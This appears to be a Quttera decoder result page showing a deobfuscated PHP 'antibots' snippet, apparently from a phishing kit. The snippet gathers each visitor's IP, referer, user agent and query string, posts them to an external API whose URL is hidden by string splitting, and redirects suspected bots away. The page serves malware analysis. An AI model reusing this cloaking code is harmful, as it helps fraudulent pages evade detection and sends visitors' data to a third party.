Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


if ($enable_antibots) {
    if(!function_exists("getip")){function getip(){if(!empty($_SERVER["HTTP_CF_CONNECTING_IP"])&&$_SERVER["HTTP_CF_CONNECTING_IP"]!="127.0.0.1"&&$_SERVER["HTTP_CF_CONNECTING_IP"]!=$_SERVER["SERVER_ADDR"]){$ip=$_SERVER["HTTP_CF_CONNECTING_IP"];}elseif(!empty($_SERVER["GEOIP_ADDR"])&&$_SERVER["GEOIP_ADDR"]!="127.0.0.1"){$ip=$_SERVER["GEOIP_ADDR"];}elseif(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]!="127.0.0.1"&&$_SERVER["HTTP_X_FORWARDED_FOR"]!=$_SERVER["SERVER_ADDR"]){$ip=explode(",",$_SERVER["HTTP_X_FORWARDED_FOR"])[0];}elseif(!empty($_SERVER["HTTP_CLIENT_IP"])&&$_SERVER["HTTP_CLIENT_IP"]!="127.0.0.1"&&$_SERVER["HTTP_CLIENT_IP"]!=$_SERVER["SERVER_ADDR"]){$ip=$_SERVER["HTTP_CLIENT_IP"];}else{$ip=$_SERVER["REMOTE_ADDR"];}return $ip;}}$ip=getip();if(!function_exists("getref")){function getref(){if(empty($_SERVER["HTTP_REFERER"])){$_SERVER["HTTP_REFERER"]=getenv("HTTP_REFERER");}return $_SERVER["HTTP_REFERER"];}}$ref=getref();if(!function_exists("getua")){function getua(){if(empty($_SERVER["HTTP_USER_AGENT"])){$_SERVER["HTTP_USER_AGENT"]=getenv("HTTP_USER_AGENT");}return $_SERVER["HTTP_USER_AGENT"];}}$ua=getua();if($_SERVER["QUERY_STRING"]!=""){$data="".urlencode($_SERVER["QUERY_STRING"])."";}else{$data="";}$langua=substr(@$_SERVER["HTTP_ACCEPT_LANGUAGE"],0,2);$ap=".bot";$rp="a-01";$blo="ck.";$com="/a";$r="ps://";$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"htt".$r."bet".$rp.$ap."blo".$blo."link".$com."pi");curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_TIMEOUT,1000);curl_setopt($ch,CURLOPT_POST,true);curl_setopt($ch,CURLOPT_POSTFIELDS,"api=058f2ef974c10761daf1&ip=".$ip."&ref=".$ref."&ua=".$ua."&data=".$data."&langua=".$langua."&sourcename=curl");$notbot=curl_exec($ch);curl_close($ch);if($notbot!="1"){header("Location: $blocked_redirect");die();}else{$nothiding=true;} 
}



© 2023 Quttera Ltd. All rights reserved.